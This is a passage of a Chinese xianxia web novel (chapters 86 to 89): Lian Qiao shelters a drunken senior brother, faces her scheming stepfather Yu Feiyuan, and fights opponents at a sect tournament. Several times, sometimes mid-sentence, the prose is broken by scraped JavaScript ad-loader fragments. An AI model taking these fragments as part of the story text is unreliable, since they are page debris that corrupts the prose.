“你不能这样。”连乔十分严肃,“你不能随便对女孩子这样,知道吗?” “虽然你喝醉了,但是喝醉了也不能肆意妄为。”连乔教训他,“这个动作,以后只能对你喜欢的并且喜欢你的姑娘做,知道吗?” “知道了。”他本想伸手捏连乔的脸,但是想到了什么,又微微叹了一口气,默默收回了手。 他自言自语,“现在不可以,你还不喜欢我。” 连乔将伞收起来,头顶上月色正好,上弦月清冷,像一轮银色的弯钩,冷冷清清地吊在碧蓝色的天空中。 迟星垂站在她面前,他抬手,够住两枝海棠。 “送给你。” 海棠花开得正好,一簇一簇,像一捧热烈的晚霞。 连乔:“为什么要送我花?” “因为花开得正好,所以想送给你。” 连乔接过花枝,这花枝鲜嫩,上面的花蕊饱满,十分热闹可爱,连乔道,“那谢谢你了。” 迟星垂:“你喜欢吗?” “嗯。”连乔轻轻呼了一口气,和温柔可爱的迟星垂说话,让她一整夜郁闷烦躁的心情也平静下来。 迟星垂道:“那我送你回去吧,很晚了,你应该要休息了。” “不用了,我房间就在前面,自己回去就行。”连乔道,“你也回去吧,我让人给你送一点醒酒汤。” 迟星垂摇摇头。 “我送你回去。”他伸手,在连乔嘴唇上比了个“嘘”的手势,让她不要再说话。他凑过来,连乔又闻到他身上的冷香,他在她耳边轻轻地,“有坏人在盯着你。” “你听话。”迟星垂转身,捡起地上的灯笼,走在前面给连乔带路。 连乔顿了一下,身后那种被盯着的感觉又出现了,迟星垂等着她跟过来,与她并肩而行。 手中的灯笼闪着微光,便在这无声中,迟星垂道,“你到了。” “谢谢。” 等连乔进了门,望着也一并跟过来的迟星垂,她愣了一下,“迟星垂?” 迟星垂:“我已经到了,你回去吧。” 连乔:“?” 好吧,她可以确定,这小子喝多了,现在头脑极度不清醒。 她望着迟星垂径直走到床上,又笔直地躺下,既好气又好笑,“迟星垂,这是我的房间。” “嗯。” “你知道还不出去?”连乔指着隔壁,“你的房间在那边。” 迟星垂没了回应,再一看,他已经睡着了。 迟星垂的睡颜和他这个人一模一样,平静且端正,连乔连续叫了他几声他也没醒,索性就让他睡在这里。 她已经元婴后期,不需要用睡觉来补充体力,坐在一边的软塌上,很快入定。 等再睁开眼,天刚亮,现在她基本可以控制入定时间,夜间修体,白日修行,日夜轮转交替,铆足了劲为三日后的入门比试做准备。 迟星垂也醒了,宿醉的问题是一夜噩梦,他梦到自己对着连乔说了不该说的话,又梦到上一世被瞳耀困住穷尽手段折磨……后来他修行出现心魔,没等他找连翘清算,子午谷就被魔族侵扰,转眼间被屠戮殆尽。 醒来时仍旧恍惚,等看到连乔,更是恍惚,这张脸和梦境中的人相重合,一时间分不清是现实还是仍旧在幻境。 连乔也在看他。 迟星垂一愣,“你怎么在这里?” 连乔:“好啊,恶人先告状?” 迟星垂这才想起来发生了什么,昨夜他喝多了,之后遇到连乔,再之后…… 清晨的风透过半开的窗户旋进来,卷住插在瓶中的花,落了两瓣花瓣在桌上,又打着旋儿落在地上。 迟星垂顿住。 想起来了,嗯,什么都想起来了。 对连乔说的混账话,送她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 回来之后做得荒唐事,现在一件不落,全部回想起来。 窗外有几声鸟鸣,屋内安静无声。 迟星垂顿住,连乔先开了口,“我收留你,你这样说我?” 迟星垂:“没有。” 连乔:“呵呵。” “我……”他有些尴尬,“昨天我喝多了,如果有冒犯的地方,对不起。” “你要对我说的话……只有这些吗?”连乔托着腮望着他,眼神幽怨,像极了看负心人。 迟星垂的心都漏跳了半拍,“我……” 连乔点点头,“嗯。” 迟星垂捏了捏额头,极力回想自己到底做了些什么,但是想了很久也没想出来到底做了什么。 “噗嗤……”连乔忍不住了,她趴在桌上小声地笑,到最后变成了大笑,笑出了眼泪,“哈哈哈哈哈……” “迟星垂,你……哈哈哈哈……” 迟星垂静静望着她,“好笑吗?” 连乔笑着擦了擦眼泪,“好笑,你那一副下定了决心要对我负责任到底的表情更好笑,哈哈哈哈……” 迟星垂:“连乔。” “好了,不跟你开玩笑了。”伸了个懒腰,入定结束,连乔现在神清气爽,“我有几个问题要请教你。” 连乔将入定发生遇到的问题告诉迟星垂,等得到解决方案后,又自己试了一遍,果然更顺畅。 “多谢师兄。”连乔朝他眨眼,“师兄你不仅酒品好,人也好。” 迟星垂:“如果你再拿这件事开玩笑,我……” 连乔:“你怎么样?” 迟星垂顿了一下,叹了一口气,“那我也没办法。” 连乔:“……” “罢了。”迟星垂呼了一口气,“你今日要去学院吧,上午是师父的课,我正好要过去。” “哦对,说到这个想起来了。”连乔道,“我上午有事,和虞南子师父请假了,但是好像他没有收到。” 万机上有今日课程排表,也有请假功能,她给今日授课老师点了请假申请,但是虞南子没有同意。 迟星垂道,“师父平日里不喜欢用万机,请假功能一般是由元宝,或者是凌阿帮忙来操作。” 原来如此。 昨日元宝和凌阿都喝多了,现在时间还早,估计他们还没来得及处理工作。 “那我给他们发讯息,让他们处理一下。” “不用。”迟星垂取出万机,在上面输入一个星阵图案,万机跳入到一个界面,他操作一番道,“可以了。” 果然,再看自己的课程,请假成功了。 连乔又问:“虞南子师父回来了?”今日是这几月他的第一次课程。 “嗯,刚回来。” 连乔道:“我只请半天假,等我把这些事处理完再去学院。” 迟星垂望着她。 “怎么了?” “如果有什么事需要我帮忙,你可以同我说。”迟星垂开口道,“我可以帮你,你不用一直自己扛。” 连乔弯着眼笑,“知道啦师兄,谢谢师兄啦。” 迟星垂离开,连乔朝他招手,“师兄下午见哦。” 桌上的两枝海棠仍旧怒放,连乔捏了捏花苞,心情不错,还哼了一首不成曲调的曲子。 “那个人,是你新交的朋友?” 背后传来一个声音,连乔猝不及防,差一点跌坐在椅子上。 87.第 87 章 门方才是开着的,现在已经关上,不知道玉非缘是怎么进来的,更不知道他是什么时候进来的。 连乔转过头,玉非缘站在阴影里,神色不定,面色阴晴不明。 连乔忍住怒意,“玉谷主,这是我的房间,你进来之前,应该经过我的同意。” 玉非缘笑了笑,没有答话,他四处环顾一周,目光落在她的床上。 那床昨晚是迟星垂睡的,迟星垂睡相好,走之前也整理一番,被褥被整齐叠好,铺在一边。 玉非缘的目光,透过床褥被罩,像是想看到更深层次的更多的东西。 这让连乔觉得十分冒犯。 怪不得原主脾气暴躁,喜怒无常,被这变态的继父盯上,难免不会情绪失常。 连乔坐下来,扬起下巴,“老谷主,你在看什么?” “昨晚那人在你这里过夜的?” 连乔抱着胳膊,“不是,他是半夜翻墙进来的,我半路给他赶了出去。” 玉非缘皱眉,“你当真是谎话连篇。” “你这不是都知道么。”连乔冷声一笑,“既然你心里有答案,为什么还要问我?” “这是你新交的朋友么?”玉非缘像是在琢磨什么,“你换人了?” 玉非缘的声音平静,不带情绪,“和之前那位,模样上倒是挺像的。” 他说的是迟来风。 连乔忽然想到,原主很早以前向迟来风表白过,然后被拒绝,这件事闹得沸沸扬扬,玉非缘知道并不奇怪。 但是玉非缘知道迟来风长什么样子? 玉非缘和迟来风没什么交集,和迟家更没有来往,他为什么会知道迟来风的模样? 他是不是一直在监视自己? 连乔忽然觉得毛骨悚然,连后背都是阴冷的。她冷笑道,“谷主,之前我还带他去过子午谷呢,这件事瞳曜也参与过,还让我对他用尽了手段。” 连乔托着下巴,“这件事,谷主当真不知道吗?” “哦对,还真不一定知道。”连乔道,“瞳曜都不知去了哪里,到现在我都没见到呢。” 连乔故意放慢了语调去看玉非缘的表情,他面上平静,像是真不知道这些事一般。 “带回子午谷?”玉非缘没理会瞳耀的事,他根本不关心那位手下去了哪里,或许他早就知道了。 “连乔,我不清楚,你现在为何变成这番模样。” “哦?”连乔反问,“哪番模样?” “至少你以前不是如此桀骜不驯荒唐无礼。”玉非缘道,“我不清楚是否是你当初在外面遇到了些什么事让你性情大变,又或者是结交了什么人被其他人带坏,所以才一直这样同我说话。” “是我疏于管教了。”玉非缘轻轻叹了一口气,“子午谷外是非繁多,我当初到底不应该答应让你出来。” “连乔,你母亲去世得早,她将你托付于我,也一直希望你能够健康成长,不会想看到你现在这种不知廉耻随意和男人厮混一夜的模样。” 说完他补充道,“你同我回子午谷。” 连乔:“?” 她不遑多让,“我母亲也一定不会喜欢你这种出口成脏满脑子污秽的模样。” “你……” “你要是想往我头上扣贞洁的帽子就尽管扣,我以前的名声比现在还臭,也没见到你来帮我些什么,反倒是现在来抖机灵了?” “我自己在云来城过得逍遥自在,子午谷不回也罢。”连乔一拂袖子,“玉非缘,以后我和子午谷再没有瓜葛,这里也不欢迎你,来人,送客。” 玉非缘皱眉,精雕玉琢的脸上终于是出现一丝裂缝。 “玉谷主不离开,那我便离开了。” 连乔大步离开,本来还以为要一上午处理玉非缘的事,结果这么快就结束。 和他交流,简直是在浪费自己的时间。 玉非缘望着连乔的背影,双手不自觉地颤抖。 是的,他左右不了她,一如当年左右不了露不霜。 连乔走得很决绝,连一个目光都没有给他留下,当初露不霜离开也是这样,也是这样义无反顾,头也不回。 胸腔被巨大的空洞充斥,连呼吸都带上了腥气。 耳边传来一个声音,“你看,她也这么走了,你把握不住的。” 玉非缘摇头,“不,不会。” “怎么不是呢,你看她现在,多优秀,多光彩照人,就和当年的连云生一模一样。”那声音充满了魅惑,“一旦她再有所突破,被乾元剑宗或者是其他大宗门收纳,你的手就伸不过去了,到那时,你所做的一切铺垫,就都白费了。” 不,不可能,这种事绝不可能发生第二次。 “噗……”一口血喷出来,脑海中的声音戛然而止,玉非缘伸手擦掉嘴角的血,缓缓闭上眼睛。 脸很痛,头也很痛。 他居然想到什么,扑到桌边坐下,桌上的东西被他扫了一大半,“哗啦”掉在地上。 桌上有一面铜镜,光亮平整,将玉非缘这张脸完全倒映进去。 方才因为情绪起伏,脸上的表情动作太大,嘴角歪了一点。 玉非缘缓缓吐了一口气,将下巴到原来的样子。 脑海中的那个声音又继续出现:“唉,那个人都死了那么久了,你这样折磨自己,又是何苦呢?” 玉非缘道:“她总有一天会回来的。” 她喜欢模样出挑的人,这张脸不能出一点事。 “也对。”那声音又笑了一声,“那就祝你如愿以偿了。” 玉非缘将脸复位,将脑海中的声音压下去,“在我得到我想要的之前,你也不要随意出现。” “老夫出来透一口气也不行?” 眼看着玉非缘皱起眉,那声音连忙道,“行了行了,谁让你救了老夫,老夫自然欠你这个人情,就听你的吧。” 说完便消失,再也没有出现。 玉非缘取出一枚符箓,燃烧殆尽后,对面传来一个声音,“你怎么又来了?不是让你不要随便找我吗?” “哼。”玉非缘冷笑一声,“你把事情办成这个样子,还指望我不找你?” 对面沉默了一下。 玉非缘靠在椅背上,头发散下来,他开始编头发,编得认真又细心。 “我记得上次叮嘱过你,让那丫头永远也没办法留在乾元剑宗,现在她不仅名头大盛即将入门,还越来越像那个人了。” “这能怪我吗,她本来就是那个人的种,她有天赋在先,要突破我能拦得住吗?” 李长淮长长叹了一口气,“而且她现在和虞南子的那几个弟子交好,你也知道的,我和虞南子本来就不对付,那老家伙要是插手这件事,我鞭长莫及。” “鞭长莫及?呵呵……”玉非缘将辫子绑好,“在让我帮你处理烂摊子的时候,怎么就没说鞭长莫及呢?” 李长淮哑火,沉默良久,“我尽力将她赶回子午谷。” “不要尽力,我从来不喜欢没有结果的事。”玉非缘道,“就像当年,我答应你的事,就一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 定会完成,同样,我要的结果,也不允许有一点意外。” 李长淮冷笑一声,“不允许有一点意外?那当初怎么出现那么大的纰漏,以至于你现在都还被心魔缠身?” 玉非缘的手一顿,李长淮那边倒是笑了,“你也别威胁我,我们几个之间,谁也称不上干净,都是一条绳上的蚂蚱,彼此说话都客气点,谁也不欠谁的,谁也犯不上被拿捏。” “连翘那丫头确实有点本事,我徒弟给她使过几次绊子都被她逃脱了,她那身修为也是实打实练出来的,做不得假。”李长淮道,“我已经想尽办法拖延她入宗的时间了,要是虞南子或者是谁执意要带她走,我也没办法。” “就算我能拖得了一时,也拖不了一世。”李长淮道,“你要是对她下手,也尽快些吧。” 玉非缘的手停住,他靠在椅背上,望着镜中的人。 精致、完美,找不出一丝缺点。 他缓缓闭上眼睛,“知道了。” 又是乾元剑宗三年一次的宗门大比,今日冲虚学府全员放假,金丹期以上者可以报名入乾元剑宗比试场参与比试,若是能在大比中崭露头角,即使不能入前五甲获胜入门,也有机会积攒名气,为日后修行入其他宗门做准备。 连乔早早在比试处签到,旁边站了一个紫衣年轻人,面相很熟,他和连乔打招呼。 是卜现世。 “你不是已经入有宗门了么,你也来参加大比?”连乔十分吃惊,“你参加,不怕被你师父知道?” “我师父叫我来参加的,他说让我来看看大家的水平,如此可以知己知彼百战不殆。” “当然,要是我真赢了,那也可以换宗门。”卜现世道,“师父也说了,人往高处走,我若是哪一天成为大能,他也不会怪我,因为这是人之常情。” 连乔:“你师父真洒脱。” “那当然,我爹出了名的潇洒通透。” 连乔抱拳,“卜少爷,失敬失敬。” 卜现世也抱拳,“连乔,到战场上就是真刀实枪了,到时候可别怪我不让着你。” 连乔:“话别说得太满,说不定是我打你呢。 转言已来到赛场,这是悬于半空的云台,而其他人则在更高的高台,站在高台,云台一览无余。 此次比赛共两轮,分八场。第一轮,即前四场由参赛者自行比试,比试对手由抽签决定,第一场一对一,输者淘汰,胜者进入第二场一对一比试,仍旧是抽签决定对手,如此类推,一直到第四场结束,第一轮比赛也随之结束,选择出进入第二轮的弟子。 第二轮比试则由乾元剑宗出题,分别是理论测试、实战测试、心海测试与随机题,测试学生的积累、反应、心术和机缘,经过层层选拔,最后剩下的才能够进入入门双选阶段。 这场比试的时间耗时非常长,不仅耗体力,也耗灵力,所以允许补给。 除了连乔自己准备的东西,默非南道和三面狐也带了一堆灵石,早早赶了过来。 今日乾元剑宗开放,几人能够随意进出宗门,白花惊引他们坐上上座,她给默非奉上茶,“默非师父,你们就坐在这里吧,视野好。” 连乔正在候场,她正闭目养神,心情闲适。 南道和三面狐一直盯着云台,白花惊给南道也倒一杯茶,顺手摸一摸三面狐脑袋,三面狐龇着牙吐舌头。 白花惊心生欢喜,又摸了一把,“你们不用紧张,以连乔的能力,入宗门绝对没事的。” 南道点头,“嗯,但愿如此。” 88.第 88 章 “也别高兴太早,入宗门要有一定能力的,也不是谁都可以。” 白祺坐在一边,旁边是云招摇和林锦绣。 南道脸色一变,白花惊立刻拦住他,示意他不要生气,在这里起冲突,只会让连乔分心。 白花惊转过头,笑眯眯地,“怎么会呢,连乔那么厉害,都已经元婴后期了,比你们入宗门这么久的人都厉害。” “厉害有什么用,还得看气运。”白祺抱着胳膊,“有些人啊,品行不端,喝倒彩的人一堆,就算是大比走到后面了,恐怕也没有师父愿意要。” 白花惊:“才不是呢,想要连乔的人多了去了,要不是李老师父一直对连乔有偏见,她这么厉害的早就被人挑走了!” 白祺皱眉,她上下扫视了白花惊一眼,“小白花,我以前怎么没发现你这么能说会道呢?” 她看人毒辣,像是想将白花惊扒开看一样,白花惊被她看得不舒服,默非上前一步,将她护在身后。 白花惊低下头,“谢谢默非师父。” “修为高有什么用,连翘那妖女手段多得是,手下人也全会走歪门邪道,小白花你现在也学他们走邪路子修行,我看你离走火入魔不远了。” 白花惊生气了,她从默非身后露出头,“什么歪门邪道啊,我修的只是不是坦途大路,连我爹都没有说我修得不对,你凭什么这么说?” 白祺冷笑一声,“白老先生不阻止你是因为你走不了大道啊,你不上道,他又能怎么办呢?” 说完又转过头对云招摇和林锦绣笑,阴阳怪气地,“总不能逼着一个废柴女儿去死吧,他只能接受啊,有些人还把他的退而求其次认为是理所当然,谁不知道这是委曲求全啊哈哈哈哈哈……” 白花惊顿住,眼圈“唰”的红了,她嘴笨反应慢,又不知道怎么反驳。 “哎,你这女的嘴怎么这么毒啊?”南道忍不住了,他指着白祺,“你不仅长得丑,嘴也这么毒?” 白祺气得脸都在抽搐,“你说什么?!” “我说的是事实啊,小白花又没惹你,你好好地骂人做什么,要我说你这是吃不到葡萄说葡萄酸,看人家小白花都有突破,你至今突破不了,所以在她面前舞,找存在感。” “我在她面前找?”白祺冷笑,“我稀得……” 话说到一半突然止住,白祺忽然收住那副阴阳的表情,端正坐好,南道吓一跳,“这是见鬼了吗你这恶毒的婆娘怎么突然收声了,我还没开始发挥实力呢。” 白花惊揉揉眼睛,仰着头,“迟师兄。” 迟星垂走过来,身后还有童元宝凌阿等人,成英轩也在。迟星垂问,“怎么了花惊?” 白花惊揉揉眼睛,没有说话。 “还能怎么着?”南道一扬下巴,示意迟星垂看旁边,他努努嘴,“喏。” “那个女的嘲笑连乔,还讽刺小白花没正路走,是个废物。” 迟星垂循着南道指的方向望过去,云招摇她们三人依左往右坐得整整齐齐,林锦绣正在扒万机看,在看这次大比的选手介绍,看样子看了有一会儿了。云招摇正在看右前方,那里迟来风正在同容瑶说话,容瑶笑靥如花,挽着他的胳膊,十分亲昵。 似乎是感受到背后的目光,迟来风转过头来,看到云招摇,他似乎也很吃惊,他笑起来,与她打招呼,“阿摇。” 云招摇皱眉,扭过头不想同他说话。 迟来风摊手,非常无奈。 容瑶生气地推他一把,“表哥你往哪里看呢!” 迟来风又收回目光,低声和她说了句什么,容瑶捂嘴一笑,又甜又娇羞。 云招摇的指甲都要嵌进肉里。 白祺离白花惊他们最近,坐得十分端正,像是发现了他的目光一样,缓慢地微笑着转过头,伸手和他打招呼,“你好呀,迟师兄~” “你~好~啊~迟师兄~”南道举起手来回摆,阴阳怪气跟着学,三面狐也跟着摆手。 南道指着白祺,“我跟你们说,就你们来了这女的在装,刚刚她跟我们可不是这副嘴脸。” 白祺蹙眉,但声音依旧温和,“不知道你们在说什么。” 南道:“你就搁这装吧,迟早有一天你因为这死嘴惹出祸事。” 白祺继续温柔娴静地端坐着,像木雕一样笔直优雅,“几位道友,宗门大比要事之场合,还请慎言。” 南道都要吐了。 “迟星垂,这女的莫不是喜欢你吧。”他十分惊恐,“你看她人前一面背后一面的,跟变脸似的,一会儿像个人,一会儿是个鬼。” 迟星垂:“……慎言。” 南道喃喃,“咋还不信我呢。” “好了,马上要到连乔出场了,我们就坐这里吧。” 成英轩拍拍白花惊,“小白花,别难过了,来,这个芝麻酥和莲子凉糕给你。” 看到吃的,白花惊抽噎两下,终于停下来,她一手抓一个,“这是哪里来的呀?” “我昨日去清平山处理邪祟带回来的,这可是清平山脚下最有名的芝麻酥和凉糕了。”成英轩安慰她,“好了不哭了,你才不会没用呢,你很厉害,我们都没有你对灵力的敏感度,你怎么会废柴呢?” 白花惊点点头,迫不及待往嘴里塞芝麻酥,她吃了一大口,含糊不清,“真好吃啊,英轩姐。” 成英轩“噗嗤”笑了,拍拍她的背,“好了好了,这是特意给你带的,没人跟你抢,慢慢吃。” 白花惊又往嘴里塞了两块凉糕,声音模糊,“英轩姐,我觉得白祺越来越奇怪了。” “嗯?” “嗯,很奇怪,我说不上来。”白花惊嚼吧嚼吧,“她本来说话就有一点刻薄,大家都知道,但是现在给我的感觉就是不只是刻薄了,就……很阴险很诡异,怪渗人的。” 成英轩若有所思。 连乔这次抽的号比较靠前,为乙巳号。抽签码由十天干与十二地支共同组合,同时也遵循阳干配阳支,阴干配阴支之规律,共六十号,此次比赛共三百六十人参加,她的对手便是在第一轮同样抽中有“乙巳”号码牌的六人中的一人。而抽中乙巳的六人,再随即匹配,分为三组,两两相比。 抽两次是为了将号码彻底打乱,杜绝有人在比试中做手脚的可能。 当年连翘参与大比,查清了另外三百五十九人的来历与缺点,并且决定一路走一路拿捏对手。但是理想很丰满,现实很骨感,她的第一个对手就是云招摇,并且被云招摇打得落花流水,家都认不得。 连乔忽然对系统道:“查清对面三百五十九人的弱点也不是易事啊。” 系统跟随连乔的视角,望着云台下方黑压压的一片人,那些人都是冲虚学院最优秀的学生,各个身怀绝技,胸有成竹。 系统:“再不是易事,也比 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 赢这凶神恶煞的人要简单吧?” “怎么说?” “去拿捏对方,不一定是确定的三百五十九人,其中几人是肯定打不过且威胁不来的,这些人放弃,有的修为不济和原主半斤八两的,也不用太上心,最后一筛选,总共要注意三百人即可。” “而且,调查这三百人,不需要你亲自去,你手下那么多人那么多鬼点子,给他们每人分十个,他们手下也有人,再依次分下去,基本上每个人只需要掌握一个致命弱点就可以。” 连乔叹为观止,“你还真是会投机取巧,我以前怎么没发现你有这本事呢?” 系统:“我就是站在你角度来看问题的,你怎么还讥讽我?” “要是前段时间你给我出这么多鬼主意,我至于在修行中和在历练中吃那么多没文化的苦吗?” 系统:“前段时间我不是续航不够吗,现在你修为上来了,连带着我也续航久了,我现在不是一直在给你出主意吗?” 连乔:“你看我现在是需要你来出主意吗?” 系统:“……好像是不需要哈?” 系统发现,连乔好像确实不怎么需要它,这让它短暂地难过了一下。 它很快恢复过来,“宿主,你正经比试,至少得在第一轮披荆斩棘,前四场是淘汰制,是无论如何也不能输的,后四场是积分制,到时候我再给你想别的办法。” 它给连乔加油打气,“你可千万得加油啊,你想要摆脱玉非缘的控制,就一定得离开子午谷,乾元剑宗家大业大,你若是得乾元剑宗庇护,就不会再被玉非缘左右了。” 连乔冷笑一声,“你怎么知道,入剑宗了就不会被玉非缘控制呢?” “万一玉非缘的手很长,能伸到乾元剑宗来呢?”连乔道,“乾元剑宗三十六峰,每一峰主脾性都不同,来历也不同,甚至一个都不熟,你怎么知道这些人里面就没有人和玉非缘勾结呢?” “就算没有和玉非缘勾结,到时候玉非缘投巧,想找些人给我使绊子,也并不难。” “想脱离玉非缘的控制,靠别人根本没有用。”连乔握着手中的牌子,听到有人喊自己的名字,她举起手,“来了。” 她参加了第二轮抽签,抽到的是“二号”,一看对面,紫衣少年卜现世也拿的“二号”。 连乔将签号一折,“想要彻底的自由,就必须弄清楚前因后果,知道玉非缘为何要控制我以及他做这一切的目的。” “被猎人盯上了,躲是不可能躲得过的。”连乔将折断的签号放在签筒中,露台上白花惊和南道在朝她大喊为她加油,卜现世的亲友团也在为他摇旗呐喊,每当白花惊和南道的声音盖过去,对方就拼命嘶吼要盖过来,结果是地下没打起来,上面快要上手了。 连乔对着白花惊他们打了个招呼,这时候她发现平日里神龙见首不见尾的迟星垂也在,还朝她挥手。 连乔也朝他挥手。 远远地,迟星垂的嘴动了动,连乔听不到声音,但是知道他在说“加油”。 连乔一笑,对重新给自己续航的系统道,“想要彻底摆脱那个人,不如往身上扎满刺,让他想抓你也无从下手,即使抓到了你,你的刺也能够住他心脏,反过来给予他致命一击。” 系统充满了电:“哦。” 连乔抱拳,“卜少爷,请多赐教。” 卜现世:“你就等着哭吧!” 89.第 89 章 连乔:“卜少爷,人有时候要谦虚一点。” 卜现世:“我打你那还不是绰绰有余?” 天地忽然变了颜色,黑云压城,黑雾弥漫至整个云台,一束光也透不进来。 卜现世不见了。 连乔心中一顿,在这种情况下,找不到对方是极其麻烦的一件事,意味着你在明,对方在暗,他随时可以偷袭你,而你防不胜防。 将心收回肚子里,连乔将神识外放。 还好,这黑云只能暂时阻隔视线,并不能困锁神识。并不是不能困锁,而是卜现世现在的修为只在金丹中期,它只能束缚同阶及以下的修真人。 连乔现在的修为是元婴后期,高一级便是十倍至百倍的攻击力,她对卜现世是碾压式的存在,这黑雾只能暂时阻隔视线。 凝神,静心,将自己的神识释放出来……这是一片天空,广阔无垠,神识如同在海洋中徜徉…… 就是现在! 连乔将神识收住,释放出来的神识像是盘根错节的树根,以她为圆心,丝丝缕缕向外蔓延,又在瞬间凝成小球收回。在探查到卜现世后,连乔立刻出剑,“砰”的一声,紫衣少年被掀飞,重重摔在地上。 这其中,不到半盏茶时间。 “哎呦哎呦哎呦……”卜现世揉着腰,他一骨碌从地上爬起来,“呦不得了,居然能够破我的黑雾阵,运气不错啊!” 连乔:“你嘴没这么缺德,我可能会考虑打你下手轻点。” “谁怕谁啊!”这人仍旧嘴欠骂街,“你这悍妇,你就等着哭吧,血雨阵来!” “天空变红色了!”白花惊捂着嘴,望着那满天血色,震惊得无法复加。 能够控制周围环境大规模变化,还一次又一次的变化,卜现世绝对有两把刷子。 下一秒,血雨散开,化成烟尘散去。 卜现世:“好家伙,妖女你果真有点本事,啊!” 连乔揪住卜现世头发,对着他就是两个大嘴巴子,“我叫你再口无遮拦骂人?” “啪啪”两声,打得卜现世呆在原地,他捂着脸,“你打我?” “毒妇,蛇蝎女人,你以为这样我就屈服了吗,那你就错了,你爷爷……啊啊啊啊啊……” 连乔敛住他,来回掌他的嘴,他骂一个新词汇连乔就扇一巴掌,卜现世一开始还叫嚣着,到后面声音越来越小,然后细如蚊蝇,最后估计是被打懵了,站在原地呆若木鸡。 他被扇得两边脸通红,肿得像猪头,整个人像是快要碎掉了。 连乔:“你服不服?” 卜现世:“连乔你这死妖女,打人不打脸!” 连乔上去又是一巴掌。 卜现世挣扎两下,虽然知道自己回天乏术肯定赢不了,但是他嘴上还是不认输,“你这恶毒的女人,虽然我人输了,但是我的心不会输。” 连乔一把捞住他,卜现世伸手去挡,却被连乔扑倒趴在地上,连乔坐在他背上,对着他的后脑勺又是一掌,“你再说一遍呢!” 卜现世终于是缓过神来,骂人的词汇又开始层不出穷,“你这母夜叉,你有本事放开我!” 她猛地一坐,压得卜现世肚子里翻江倒海,他快要被打吐了。 “悍妇你……哦呦……” 连乔在他背上捶了三下,打得卜现世终于是没了力气,他像一只冬眠的乌龟,面朝下四肢摊开趴好,口吐白沫翻白眼。 她拍拍他后背,“继续。” “姑奶奶我错了……哦呦……” 卜现世叫苦不迭,明明连乔有更直接的办法直接将他打下擂台,但是她偏不这样做,非要以这种低级的体力格斗来折辱自己。 连乔又是一捶,卜现世被捶得龇牙咧嘴,“连乔姑奶奶,别打了,我认输,哦呦……” 连乔对着他的背猛拧一下,卜现世疼得要往起蹿,但是又被连乔坐住,趴在地上动弹不得。 “连乔,我错了,我真认输。” 连乔勉勉强强从他身上翻下来,场外的锣“噌”一声被敲响,“连乔胜,入第二场比试。” 卜现世的脚蹬了一下,费了九牛二虎之力,才双手撑地,勉强爬起来。 他指着连乔,看到连乔抱着胳膊望自己,倒吸了一口凉气,默默地把手收回去。 他一瘸一拐地下了云台,在大家看不到的地方举起手,以迅雷不及掩耳之势快速地擦了一把脸上的眼泪。 好疼啊,还好丢人。 人怎么能丢脸成这样? 站在露台上看比试的童元宝摸了摸后脑勺,又摸了摸脸,总感觉身上火辣辣地疼。 邵吴兴看呆了,他望着躲在人群后面偷偷哭的卜现世,又看了一眼连乔。 童元宝望向邵吴兴的目光充满了同情,“吴兴,要不你换一个人喜欢吧。” “连乔的情绪太不稳定了。” 她打人也太狠了,一点面子都不给人留的! 邵吴兴摇摇头,“不。” 他握紧了拳头,心中充满了兴奋,“连乔好特别啊,好有个性,我就知道我没有看错人。” 童元宝:“你疯了啊?你不怕挨连乔的揍吗?” 邵吴兴的手抓着面前的栏杆,一脸娇羞,“好呀。” 凌阿一口水喷出来。 接下来是第二轮,由第一轮胜出的人中再抽签,这次连乔的对手是一个高马尾的女子,使剑,剑术凌厉而狠准。 童元宝:“这女子是谁,看上去很厉害,和英轩很像啊。” 白花惊愣了一下,“啊,怎么会抽中她呢?” “她?她怎么啦?” “她叫邵灵,极品水火双灵根,主修剑,剑术精湛,在冲虚学院也小有名气。”白花惊道,“因为剑术非常厉害,和英轩的快打法非常类似,又有别称‘小英轩’。” “她在入学院的时候就被李长淮挑中,不过邵灵无心入李长老门下,拒绝了他,并参加宗门大比,参与乾元剑宗的峰门双选。” 能直接拒绝提前招选的诱惑,是一个非常有魄力的人。 成英轩道:“我也听说过这位师妹,她想拜入我师父门下,而且确实剑法非常娴熟。” 能得到“八大天才”这样的肯定,邵灵的能力可见一斑。 白花惊道:“而且邵灵是此次大比呼声前三的种子选手,连乔的运气不太好,怎么一开始就碰上她了呢。” 童元宝“啧”一声,“这次悬了。” 邵灵先飞身入云台,连乔也跟随其后。 邵灵向连乔抱拳,“请。” 连乔也回礼,“请。” 大战一触即发。 邵灵出剑快准狠,十足的力量感,灵雨剑与丛林剑碰撞, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 发出让人牙酸的尖鸣声,连乔也毫不退让,双剑相击,“咻”地飚出一长串火光。 邵灵比连乔修炼时间久,在剑术上的造诣也远超于她,虽然连乔能靠灵力和身法和邵灵对抗,但是一味防守,到最后只会耗尽她的气力。 双方大战一百回合,仍旧没有分出胜负,但连乔明显感受到体力不支。 不行,不能再这样下去。 邵灵打得十分尽兴。虽然连乔剑术技巧不及自己,但是她灵动和反应很快,她亏在修习太短上,如果她学剑和自己一样久,那剑术必定在自己之上。 连乔的缺点是攻击性不强,邵灵慢慢跟她耗,又过了五十招,连乔愈发疲乏,招数也漏洞百出。 邵灵找准时机,在连乔落剑转身时,挑中她剑柄,将丛林剑勾出。 连乔反应非常快,在剑体滑落的一瞬间飞身而起,一个滑步避开杀招,在半空中再次接住剑身。 邵灵继续和连乔周旋,刀刀凶猛,连乔也边占边退,一直退到云台边缘。 眼看到连乔要落下,邵灵的剑也更凶狠起来,剑灵喧嚣,如同雷雨灌地,在连乔继续往后退露出一个破绽时,灵雨剑脱手,给予对方全力一击。 “砰!” 等再睁眼,邵灵发现自己出了云台,连乔悬于半空,被一股无形的力量托举住。 “好!”露台上爆发巨大的掌声,如同雷声轰鸣。 连乔舒了一口气,还好,很险自己也下去了。 连乔利用神识为自己织了一片密网,将整个云台充斥。她在剑术上输给邵灵,且越到后期破绽越多,是因为她用一半的经历在云台上织就阵法网。 